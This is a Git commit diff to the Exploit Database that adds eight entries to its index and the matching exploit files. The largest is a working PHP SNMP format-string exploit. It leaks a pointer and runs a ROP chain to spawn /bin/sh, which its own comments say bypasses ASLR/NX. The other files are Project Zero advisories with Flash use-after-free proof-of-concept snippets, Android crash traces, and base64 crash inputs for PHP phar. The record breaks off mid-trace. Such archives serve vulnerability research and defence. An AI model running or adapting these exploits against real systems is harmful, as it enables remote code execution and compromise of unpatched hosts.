DB: 2016-04-02
8 new exploits Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit (MS03-026) Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D) Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D) (MS10-015) PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit Windows Kernel - Bitmap Use-After-Free Windows Kernel - NtGdiGetTextExtentExW Out-of-Bounds Memory Read Adobe Flash - URLStream.readObject Use-After-Free Adobe Flash - TextField.maxChars Use-After-Free Android - ih264d_process_intra_mb Memory Corruption Adobe Flash - Color.setTransform Use-After-Free PHP 5.5.33 - Invalid Memory Write
This commit is contained in:
Offensive Security
parent
5de0917681
commit
6290e0021e
9 changed files with 497 additions and 2 deletions
12
files.csv
12
files.csv
|
|
@ -64,7 +64,7 @@ id,file,description,date,author,platform,type,port
|
|||
63,platforms/linux/remote/63.c,"miniSQL (mSQL) 1.3 - Remote GID Root Exploit",2003-07-25,"the itch",linux,remote,1114
|
||||
64,platforms/windows/remote/64.c,"Microsoft Windows - (RPC DCOM) Remote Buffer Overflow Exploit",2003-07-25,Flashsky,windows,remote,135
|
||||
65,platforms/windows/dos/65.c,"Microsoft Windows SQL Server Denial of Service Remote Exploit (MS03-031)",2003-07-25,refdom,windows,dos,0
|
||||
66,platforms/windows/remote/66.c,"Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit",2003-07-26,"H D Moore",windows,remote,135
|
||||
66,platforms/windows/remote/66.c,"Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit (MS03-026)",2003-07-26,"H D Moore",windows,remote,135
|
||||
67,platforms/multiple/remote/67.c,"Apache 1.3.x mod_mylo - Remote Code Execution Exploit",2003-07-28,"Carl Livitt",multiple,remote,80
|
||||
68,platforms/linux/dos/68.c,"Linux Kernel <= 2.4.20 - decode_fh Denial of Service Exploit",2003-07-29,"Jared Stanbrough",linux,dos,0
|
||||
69,platforms/windows/remote/69.c,"Microsoft Windows RPC DCOM Remote Exploit (18 Targets)",2003-07-29,pHrail,windows,remote,135
|
||||
|
|
@ -10280,7 +10280,7 @@ id,file,description,date,author,platform,type,port
|
|||
11196,platforms/windows/dos/11196.html,"Foxit Reader 3.1.4.1125 - ActiveX Heap Overflow PoC",2010-01-19,"SarBoT511 and D3V!L FUCKER",windows,dos,0
|
||||
11197,platforms/windows/dos/11197.py,"Mini-stream Ripper 3.0.1.1 - (.smi) Local Buffer Overflow PoC",2010-01-19,d3b4g,windows,dos,0
|
||||
11198,platforms/php/webapps/11198.txt,"al3jeb script Remote Login Bypass Exploit",2010-01-19,"cr4wl3r ",php,webapps,0
|
||||
11199,platforms/windows/local/11199.txt,"Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D)",2010-01-19,"Tavis Ormandy",windows,local,0
|
||||
11199,platforms/windows/local/11199.txt,"Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D) (MS10-015)",2010-01-19,"Tavis Ormandy",windows,local,0
|
||||
11202,platforms/windows/local/11202.pl,"RM Downloader .m3u BoF (SEH)",2010-01-19,jacky,windows,local,0
|
||||
11203,platforms/multiple/remote/11203.py,"Pidgin MSN <= 2.6.4 File Download Vulnerability",2010-01-19,"Mathieu GASPARD",multiple,remote,0
|
||||
11204,platforms/windows/remote/11204.html,"AOL 9.5 - ActiveX Exploit (Heap Spray) (0day)",2010-01-20,Dz_attacker,windows,remote,0
|
||||
|
|
@ -35870,3 +35870,11 @@ id,file,description,date,author,platform,type,port
|
|||
39642,platforms/linux/webapps/39642.txt,"Apache OpenMeetings 1.9.x - 3.1.0 - ZIP File path Traversal",2016-03-31,"Andreas Lindh",linux,webapps,5080
|
||||
39643,platforms/java/remote/39643.rb,"Apache Jetspeed Arbitrary File Upload",2016-03-31,metasploit,java,remote,8080
|
||||
39644,platforms/multiple/dos/39644.txt,"Wireshark - dissect_pktc_rekey Heap-based Out-of-Bounds Read",2016-03-31,"Google Security Research",multiple,dos,0
|
||||
39645,platforms/multiple/remote/39645.php,"PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit",2016-04-01,"Andrew Kramer",multiple,remote,0
|
||||
39647,platforms/windows/dos/39647.txt,"Windows Kernel - Bitmap Use-After-Free",2016-04-01,"Nils Sommer",windows,dos,0
|
||||
39648,platforms/windows/dos/39648.txt,"Windows Kernel - NtGdiGetTextExtentExW Out-of-Bounds Memory Read",2016-04-01,"Nils Sommer",windows,dos,0
|
||||
39649,platforms/multiple/dos/39649.txt,"Adobe Flash - URLStream.readObject Use-After-Free",2016-04-01,"Google Security Research",multiple,dos,0
|
||||
39650,platforms/multiple/dos/39650.txt,"Adobe Flash - TextField.maxChars Use-After-Free",2016-04-01,"Google Security Research",multiple,dos,0
|
||||
39651,platforms/android/dos/39651.txt,"Android - ih264d_process_intra_mb Memory Corruption",2016-04-01,"Google Security Research",android,dos,0
|
||||
39652,platforms/multiple/dos/39652.txt,"Adobe Flash - Color.setTransform Use-After-Free",2016-04-01,"Google Security Research",multiple,dos,0
|
||||
39653,platforms/php/dos/39653.txt,"PHP 5.5.33 - Invalid Memory Write",2016-04-01,vah_13,php,dos,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
59
platforms/android/dos/39651.txt
Executable file
59
platforms/android/dos/39651.txt
Executable file
|
|
@ -0,0 +1,59 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=523
|
||||
|
||||
The attached file causes a crash in ih264d_process_intra_mb in avc parsing, likely due to incorrect bounds checking in one of the memcpy or memset calls in the method.
|
||||
|
||||
The file crashes with the following stack trace in M:
|
||||
|
||||
09-08 15:51:01.212 8488 8951 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x0 in tid 8951 (le.h264.decoder)
|
||||
09-08 15:51:01.313 198 198 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||
09-08 15:51:01.313 198 198 F DEBUG : Build fingerprint: 'google/hammerhead/hammerhead:6.0/MRA58G/2228996:userdebug/dev-keys'
|
||||
09-08 15:51:01.313 198 198 F DEBUG : Revision: '0'
|
||||
09-08 15:51:01.313 198 198 F DEBUG : ABI: 'arm'
|
||||
09-08 15:51:01.313 198 198 F DEBUG : pid: 8488, tid: 8951, name: le.h264.decoder >>> /system/bin/mediaserver <<<
|
||||
09-08 15:51:01.313 198 198 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
|
||||
09-08 15:51:01.317 796 938 W NativeCrashListener: Couldn't find ProcessRecord for pid 8488
|
||||
09-08 15:51:01.322 198 198 F DEBUG : r0 ad7877e0 r1 b21cabf8 r2 00000001 r3 00000220
|
||||
09-08 15:51:01.322 198 198 E DEBUG : AM write failed: Broken pipe
|
||||
09-08 15:51:01.322 198 198 F DEBUG : r4 000000c5 r5 0000000a r6 00000000 r7 00000005
|
||||
09-08 15:51:01.322 198 198 F DEBUG : r8 b3098400 r9 b21cabf8 sl 00000001 fp 00000220
|
||||
09-08 15:51:01.322 198 198 F DEBUG : ip b3099bbc sp ad7876a0 lr b1c38ab7 pc 00000000 cpsr 200d0010
|
||||
09-08 15:51:01.329 198 198 F DEBUG :
|
||||
09-08 15:51:01.329 198 198 F DEBUG : backtrace:
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #00 pc 00000000 <unknown>
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #01 pc 00018ab5 /system/lib/libstagefright_soft_avcdec.so (ih264d_process_intra_mb+2544)
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #02 pc 0000de03 /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_slice+610)
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #03 pc 0000e0b9 /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_thread+64)
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #04 pc 0003f3e7 /system/lib/libc.so (__pthread_start(void*)+30)
|
||||
09-08 15:51:01.329 198 198 F DEBUG : #05 pc 00019b43 /system/lib/libc.so (__start_thread+6)
|
||||
09-08 15:51:01.627 198 198 F DEBUG :
|
||||
09-08 15:51:01.627 198 198 F DEBUG : Tombstone written to: /data/tombstones/tombstone_02
|
||||
|
||||
It crashes with the following trace in L:
|
||||
|
||||
W/NativeCrashListener( 2256): Couldn't find ProcessRecord for pid 26174
|
||||
I/DEBUG ( 6837): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||
E/DEBUG ( 6837): AM write failure (32 / Broken pipe)
|
||||
I/DEBUG ( 6837): Build fingerprint: 'google/shamu/shamu:5.1.1/LYZ28K/2168912:user/release-keys'
|
||||
I/DEBUG ( 6837): Revision: '33696'
|
||||
I/DEBUG ( 6837): ABI: 'arm'
|
||||
I/DEBUG ( 6837): pid: 26174, tid: 7029, name: le.h264.decoder >>> /system/bin/mediaserver <<<
|
||||
I/DEBUG ( 6837): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
|
||||
I/DEBUG ( 6837): r0 0000000f r1 ffffffff r2 af2e286c r3 00000007
|
||||
I/DEBUG ( 6837): r4 af2e286c r5 00000010 r6 00000000 r7 00000000
|
||||
I/DEBUG ( 6837): r8 0d452c00 r9 af2fc9c8 sl a36c81f7 fp 1e1a8a58
|
||||
I/DEBUG ( 6837): ip ffffffff sp af2e2840 lr 0000000f pc af2ea8f0 cpsr 800c0010
|
||||
I/DEBUG ( 6837):
|
||||
I/DEBUG ( 6837): backtrace:
|
||||
I/DEBUG ( 6837): #00 pc 000078f0 /system/lib/libstagefright_soft_h264dec.so
|
||||
I/DEBUG ( 6837): #01 pc 0000000d <unknown>
|
||||
I/DEBUG ( 6837):
|
||||
I/DEBUG ( 6837): Tombstone written to: /data/tombstones/tombstone_09
|
||||
|
||||
To reproduce the issue, download the attached file, and wait for it to be thumbnailed. This can be triggered by opening the downloads folder in the Photos application.
|
||||
|
||||
Reported to Android here: https://code.google.com/p/android/issues/detail?id=185644
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39651.zip
|
||||
|
||||
35
platforms/multiple/dos/39649.txt
Executable file
35
platforms/multiple/dos/39649.txt
Executable file
|
|
@ -0,0 +1,35 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
|
||||
|
||||
There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
//In main
|
||||
|
||||
flash.net.registerClassAlias("bob", myclass);
|
||||
|
||||
|
||||
var u:URLStream = new URLStream();
|
||||
myclass.u = u;
|
||||
u.addEventListener(Event.COMPLETE, func);
|
||||
u.load(new URLRequest("file.txt"));
|
||||
|
||||
function func(){
|
||||
trace(u.readObject());
|
||||
}
|
||||
|
||||
// in myclass
|
||||
|
||||
static public var u;
|
||||
|
||||
public function myclass()
|
||||
{
|
||||
u.close();
|
||||
}
|
||||
|
||||
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39649.zip
|
||||
|
||||
29
platforms/multiple/dos/39650.txt
Executable file
29
platforms/multiple/dos/39650.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581
|
||||
|
||||
There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.maxChars = {valueOf : func};
|
||||
|
||||
function func(){
|
||||
|
||||
if (times == 0){
|
||||
times++;
|
||||
return 7;
|
||||
}
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 7;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39650.zip
|
||||
|
||||
25
platforms/multiple/dos/39652.txt
Executable file
25
platforms/multiple/dos/39652.txt
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451
|
||||
|
||||
If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
|
||||
|
||||
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
|
||||
|
||||
var n = new Object();
|
||||
|
||||
n.valueOf = function () {
|
||||
trace("here");
|
||||
tf.removeTextField()
|
||||
}
|
||||
|
||||
var o = {ra: n, rb:8};
|
||||
|
||||
var c = new Color(tf)
|
||||
c.setTransform(o)
|
||||
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39652.zip
|
||||
|
||||
123
platforms/multiple/remote/39645.php
Executable file
123
platforms/multiple/remote/39645.php
Executable file
|
|
@ -0,0 +1,123 @@
|
|||
<?php
|
||||
|
||||
// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
|
||||
// By Andrew Kramer <andrew at jmpesp dot org>
|
||||
// Should bypass ASLR/NX just fine
|
||||
|
||||
// This exploit utilizes PHP's internal "%Z" (zval)
|
||||
// format specifier in order to achieve code-execution.
|
||||
// We fake an object-type zval in memory and then bounce
|
||||
// through it carefully. First though, we use the same
|
||||
// bug to leak a pointer to the string itself. We can
|
||||
// then edit the global variable with correct pointers
|
||||
// before hitting it a second time to get EIP. This
|
||||
// makes it super reliable! Like... 100%.
|
||||
// To my knowledge this hasn't really been done before, but
|
||||
// credit to Stefan Esser (@i0n1c) for the original idea. It works!
|
||||
// https://twitter.com/i0n1c/status/664706994478161920
|
||||
|
||||
// All the ROP gadgets are from a binary I compiled myself.
|
||||
// If you want to use this yourself, you'll probably need
|
||||
// to build a new ROP chain and find new stack pivots for
|
||||
// whatever binary you're targeting. If you just want to get
|
||||
// EIP, change $stack_pivot_1 to 0x41414141 below.
|
||||
|
||||
|
||||
// pass-by-reference here so we keep things tidy
|
||||
function trigger(&$format_string) {
|
||||
|
||||
$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
|
||||
// you MUST set exceptions_enabled in order to trigger this
|
||||
$session->exceptions_enabled = SNMP::ERRNO_ANY;
|
||||
|
||||
try {
|
||||
$session->get($format_string);
|
||||
} catch (SNMPException $e) {
|
||||
return $e->getMessage();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// overwrite either $payload_{1,2} with $str at $offset
|
||||
function overwrite($which, $str, $offset) {
|
||||
|
||||
// these need to be global so PHP doesn't just copy them
|
||||
global $payload_1, $payload_2;
|
||||
|
||||
// we MUST copy byte-by-byte so PHP doesn't realloc
|
||||
for($c=0; $c<strlen($str); $c++) {
|
||||
switch($which) {
|
||||
case 1:
|
||||
$payload_1[$offset + $c] = $str[$c];
|
||||
break;
|
||||
case 2:
|
||||
$payload_2[$offset + $c] = $str[$c];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
echo "> Setting up payloads\n";
|
||||
|
||||
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
|
||||
$stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx
|
||||
$stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14
|
||||
|
||||
// this is used at first to leak the pointer to $payload_1
|
||||
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
|
||||
$trampoline_offset = strlen($leak_str);
|
||||
|
||||
// used to leak a pointer and also to store ROP chain
|
||||
$payload_1 =
|
||||
$leak_str . // leak a pointer
|
||||
"XXXX" . // will be overwritten later
|
||||
$stack_pivot_1 . // initial EIP (rop start)
|
||||
// ROP: execve('/bin/sh',0,0)
|
||||
pack("L", 0x080f0bb7) . // xor ecx, ecx; mov eax, ecx
|
||||
pack("L", 0x0814491f) . // xchg edx, eax
|
||||
pack("L", 0x0806266d) . // pop ebx
|
||||
pack("L", 0x084891fd) . // pointer to /bin/sh
|
||||
pack("L", 0x0807114c) . // pop eax
|
||||
pack("L", 0xfffffff5) . // -11
|
||||
pack("L", 0x081818de) . // neg eax
|
||||
pack("L", 0x081b5faa); // int 0x80
|
||||
|
||||
// used to trigger the exploit once we've patched everything
|
||||
$payload_2 =
|
||||
"XXXX" . // will be overwritten later
|
||||
"XXXX" . // just padding, whatevs
|
||||
"\x08X" . // zval type OBJECT
|
||||
str_repeat("%d", 13) . "%Z"; // trigger the exploit
|
||||
|
||||
// leak a pointer
|
||||
echo "> Attempting to leak a pointer\n";
|
||||
$data = trigger($payload_1);
|
||||
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
|
||||
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
|
||||
|
||||
// If there are any null bytes or percent signs in the pointer, it will break
|
||||
// the -0x10 will be applied later, so do it now too
|
||||
if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
|
||||
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
|
||||
echo "> That pointer has a bad character in it\n";
|
||||
echo "> This won't work. Bailing out... :(\n";
|
||||
exit(0);
|
||||
}
|
||||
|
||||
echo "> Overwriting payload with calculated offsets\n";
|
||||
// prepare the trampoline
|
||||
// code looks kinda like...
|
||||
// mov eax, [eax+0x10]
|
||||
// mov eax, [eax+0x54]
|
||||
// call eax
|
||||
overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
|
||||
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
|
||||
|
||||
// exploit
|
||||
echo "> Attempting to pop a shell\n";
|
||||
trigger($payload_2);
|
||||
|
||||
// if we make it here, something didn't work
|
||||
echo "> Exploit failed :(\n";
|
||||
|
||||
200
platforms/php/dos/39653.txt
Executable file
200
platforms/php/dos/39653.txt
Executable file
|
|
@ -0,0 +1,200 @@
|
|||
# Exploit Title: Invalid memory write in phar on filename with \0 in name
|
||||
# Date: 2016-03-19
|
||||
# Exploit Author: @vah_13
|
||||
# Vendor Homepage: https://secure.php.net/
|
||||
# Software Link: https://github.com/php/php-src
|
||||
# Version: 5.5.33
|
||||
# Tested on: Linux
|
||||
|
||||
|
||||
|
||||
Test script:
|
||||
---------------
|
||||
cat test.php
|
||||
-------------------
|
||||
<?php
|
||||
$testfile = file_get_contents($argv[1]);
|
||||
try {
|
||||
$phar = new Phar($testfile);
|
||||
$phar['index.php'] = '<?php echo "https://twitter.com/vah_13 ?>';
|
||||
$phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>';
|
||||
$phar->setStub('<?php
|
||||
Phar::webPhar();
|
||||
__HALT_COMPILER(); ?>');
|
||||
} catch (Exception $e) {
|
||||
print $e;
|
||||
}?>
|
||||
----------------------------------------------------------------------------------
|
||||
|
||||
PoC 1
|
||||
|
||||
root@TZDG001:/tmp/data2# base64 ret/crash13
|
||||
CkTJu4AoZHKCxhC7KlDNp2g5Grx7JE092+gDAADJVR1EZS8vL/oAAPovLy8v5y8vLy9lZWVlZWVl
|
||||
DAwMC+MMDAwMDM4MDAwgBwwMDAwMDAxQDC8uLi8jLy88Ly8u+C8vLxERERERERERpXRDbnQgdGhh
|
||||
dCBtVnJrV3h4eHh4eNt4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4ePh4Ly8vLy8vLy8vLy8v
|
||||
Ly8vLy8vLy8vLy8vLkYvLy8vLy8vLy8vLy9kJy8vLy8vLy8vLy8v8+TzMZovLysvLy8vL3l5eXl5
|
||||
eXl5eXkpIHsEAAYgICAveHh4eHh4eHh4eAF4AAJ4eP8vIExvYWQgY29tbWFuZChTgG5lIHV0aWxp
|
||||
dHkKICAgIGluY2yKZGUuLi4uLi4uLi4uPCYuLi4ucG1kLnBoYXIudmVKCiAgJCAvLyBSdegDIGxp
|
||||
bmUgTW50ZXJmYWxlCiAgIBxleGkAAP//SFBNRFxUZXh0VUl5Q29tbWFuZAAANwAAAHNyY1Rf/39N
|
||||
UElMRVIodjsgPz4MChAAAAANAgAAEP//+QEAAAAAAAAiAAAqAAAAlnJjL21haW4vlA8uLlEvci8u
|
||||
LhAA2GVzZXRzL2NsZWFucipeTUxSZW5kZXLJYEC2IQAAAABjb3JlrgAAAAAAI2OcwrYAAAAAAA0A
|
||||
NwAAAHMASRwAc2V0cy91bndzcmMAnjgjW7gwgAAAcmMAAgAAADN1bGVzZXRzL2MgAAAAb///f/9p
|
||||
YWwueG1s4BIAAB+u4VZzcmMvbWFpbi9yZXNvdXJpZ24ueABzcmMvbQA9dr2itiEASRyXl5eXl5eX
|
||||
l5etl5eXlwAMc3JjL21hW24v6Bvzb3VyY2VzL3J1//+AAHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
|
||||
dHR0dHR0WWV0cy9uYRwcMBwcHBwcHBwcAB+u4TSoCwD1A3lvdXJjZXMvdmVsb2Qxmi9LZ01yAB+u
|
||||
4RgAACCu4VbjDy5nLnhtbP8vAC4uLjwmLnh4eHh4eHh4eHh4+HgZLy8vLi4ucG1kLnBoL3Jlc291
|
||||
cmNjZXNzcgCAAAAuGnVzc3IvLg0AAHFF7BMAc3JjL/9haW4vcGhwL1BIUE1EL1BhcnMnJycnJycn
|
||||
JycnJycnJyfnAAAKQ5bxci5waHBtGAAAH67hGAAAH67hVuMPLi5RLy8vLy8vc3JW4QcAANevurC2
|
||||
IQAAAAcAACwvdXNyLy4uL1KHAK78Vm4vcGhwL1BIUE1EL1JlbmRlcmVyKl5NTFJlbmRlcslgQLYh
|
||||
AAAAAAAAGwABAHNyYy9tYWluL3BoNy9QSFBNRC9SdVRlLnCAcDIYAAAfruEAAHNyYy9tYWluL3AA
|
||||
iy0AAABzcmMAAFeu4VYwCAAAPXa9oi8vLy8vLy8vLy8vLy8vLy8vL28v8+TzOoAAAGhwL1D/CzpE
|
||||
ZXZlbG9kMZovbmdNZXRob2QQcGiKlgwAIAAAAFb8BQAAI2OcwrYhAAAAACAANwAAAGNyYy9tYc7O
|
||||
zs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4AEa7hVnNyYy+A////L9YhzLYhAADg////MXBo
|
||||
cC9QSFBNRC9PdW1hf24vcGhwL1BIUGFEUFBQUFBQUFByYy9tYWluL3BocC9QSFBNRC9SdWxML0Rl
|
||||
c2lnZy9Ub29PYW55TWV0aG9kfy4fruFWYy9tYWluL3BocC9QSFBNRC9SdWxlL0Rlc2lnbi8vRGV2
|
||||
ZWxvZFxlbnRDbwMAAGMvbQA9dr2itiEASRwAcG1kLnARruFWjwUF//8FcIWYAAIAAAAvLi4v////
|
||||
/3JILi4vLi91c3IvLi4AADYAAABecmMvUEhQTUQvUnVsZS9EZXNpZ1svV2VpAGhwAAAAc3JjLy8v
|
||||
LwAAAQDk8zGaLy//L1J1bGUvRJCQkJBAkJCQkJDQkJBzkJCQkJCQkJCQkJCQkJCQkG50cm9w6HAu
|
||||
LgAAAQAuLi4uLi4uLi4uL1BIUE1EL091bWFpdi9waHAvUEhQTURlcgAEQ2hpbGRyZW4ucGhwbQsA
|
||||
AB+u4VZ+BQAAgLP4+7Yh3////wAOAAAfruxWbQYAADplbi4vdf//Ly4u5i4vdQBkHwAD6AAD6AAN
|
||||
ADcuLhAA2DUAAAAyAAAAc3JkLy8uLi8uL1Jzci4vdXNycGguUS8vLy9/AAAAL3Vzci+uQi8uL3Vz
|
||||
ci8vLi98c3IvLhciLi91c3IvLi4vdXOALy4uL/////9ldHMvYyAAAABv//9//2lhbC54tbW1tbW1
|
||||
tbW1tbW1vABjL+ZJTnUgZC4vc5QPAAAEAHIvLi4vdXNyLy4uLy4vdXNyLy4AZC4vAQAAAC4uL3UQ
|
||||
AC8uLi8uL3Vzby4vdXNyDy4uUS8vLy8vL3NyLy4vc3IvLi4odXNyAAIAAC4vdXNzci8uLi91e3Iv
|
||||
rkIvLmRvci9hdRAA2DVXu7YhABcuL3Vzci8uAS8u
|
||||
|
||||
|
||||
(gdb) r test.php ret/crash13
|
||||
Starting program: /tmp/php-7.0.4/sapi/cli/php test.php ret/crash13
|
||||
[Thread debugging using libthread_db enabled]
|
||||
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
||||
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
zend_string_init (persistent=0, len=2, str=0x121a64c "->") at
|
||||
/tmp/php-7.0.4/Zend/zend_string.h:157
|
||||
157 zend_string *ret = zend_string_alloc(len, persistent);
|
||||
(gdb) i r
|
||||
rax 0xae6572 11429234
|
||||
rbx 0x7fffffffa880 140737488332928
|
||||
rcx 0x64c 1612
|
||||
rdx 0x2 2
|
||||
rsi 0x3 3
|
||||
rdi 0xae658a 11429258
|
||||
rbp 0x2 0x2
|
||||
rsp 0x7fffffffa7e0 0x7fffffffa7e0
|
||||
r8 0xfffffffffffffffb -5
|
||||
r9 0x1 1
|
||||
r10 0x3 3
|
||||
r11 0x1214fc0 18960320
|
||||
r12 0x1206b7a 18901882
|
||||
r13 0x4 4
|
||||
r14 0x121a64c 18982476
|
||||
r15 0x7fffffffa880 140737488332928
|
||||
rip 0xd531b4 0xd531b4 <add_assoc_string_ex+116>
|
||||
eflags 0x10206 [ PF IF RF ]
|
||||
cs 0x33 51
|
||||
ss 0x2b 43
|
||||
ds 0x0 0
|
||||
es 0x0 0
|
||||
fs 0x0 0
|
||||
gs 0x0 0
|
||||
|
||||
*****************************************************************
|
||||
|
||||
PoC 2
|
||||
|
||||
root@dns:~/php-src# base64 ./bck_out/6648
|
||||
Ly4vdXNyLy4uLy4vdXNy4uLi4uLi4uLi4uLi4uLi4uLi4uLit7e3t7dhI1VmbH8AIGdsb1Rh/39i
|
||||
b25ziGFudCB0AYCAIG1QX1CKRQAAgABFQVMsJywgJ3BoYXInKXNfLy4uLy4vU3NyLy4uL31zci8u
|
||||
LjwuL3Vzci8ubWFxUGhhciggJ3Bokm1kLnBoYXIAAAB/CgovL4iInoiIiIiIiIh1Li9//+ggQ29u
|
||||
ZmlndXJcB2lCY2x1ZC91c3IvLoiJiIiIiKKIiIiIXFxcXFxHXFxcXFxcXFxcXFxciA0uL3VzcmUg
|
||||
cC8uLi91c3IvLi4uL3MQLy4ULxEvgHNyNiBpbmNsdWQv9G8gdXNcIHRoaXMgcGhhctlzZXRfaW5j
|
||||
iYgmMSYmJiY4/e3t7WFyI2VmaW5lIGdsb1T/FhYWFhYWFhYWFhYWFhYWFhYWFhYWaGFyJyk7Co5k
|
||||
ZV9wYXRoKCkpOxYKaWYgKGlzjn+UKCRhcmV2KSAmJiByZWEvdXNyLy4QLy4vdXNyLy4uL31zci8u
|
||||
LjwuL3Vzci8u5i91c3IvLi4vLi91c3IuLj0ndXNyLy4uEADJci8uJi8uL3VzEC9AEhwuL3NyLy4u
|
||||
L3Vzci8uLi8uL2lziz4uLi8uL3Vzci8oLi91bmNsdWQvdVNyLy6IiIikiIiIcwAgLi5y3zouLy4v
|
||||
JiYmJlMmJiYmOBDt7e0=
|
||||
|
||||
|
||||
./bck_out/6648
|
||||
|
||||
==4103== Source and destination overlap in memcpy(0x6e5d800, 0x6e5d798, 291)
|
||||
==4103== at 0x4C2D75D: memcpy@@GLIBC_2.14 (vg_replace_strmem.c:915)
|
||||
==4103== by 0x6AD1B5: _estrdup (zend_alloc.c:2558)
|
||||
==4103== by 0x6880FD: php_stream_display_wrapper_errors (streams.c:152)
|
||||
==4103== by 0x68AE4B: _php_stream_opendir (streams.c:1994)
|
||||
==4103== by 0x5E986A: spl_filesystem_dir_open (spl_directory.c:236)
|
||||
==4103== by 0x5ED77F: spl_filesystem_object_construct (spl_directory.c:724)
|
||||
==4103== by 0x6C1655: zend_call_function (zend_execute_API.c:878)
|
||||
==4103== by 0x6EBF92: zend_call_method (zend_interfaces.c:103)
|
||||
==4103== by 0x5A44A8: zim_Phar___construct (phar_object.c:1219)
|
||||
==4103== by 0x75D143: ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER
|
||||
(zend_vm_execute.h:1027)
|
||||
==4103== by 0x70CFBA: execute_ex (zend_vm_execute.h:423)
|
||||
==4103== by 0x76D496: zend_execute (zend_vm_execute.h:467)
|
||||
==4103==
|
||||
==4103== Invalid read of size 8
|
||||
==4103== at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
|
||||
==4103== by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
|
||||
==4103== by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
|
||||
==4103== by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
|
||||
==4103== by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
|
||||
==4103== by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
|
||||
==4103== by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
|
||||
==4103== by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
|
||||
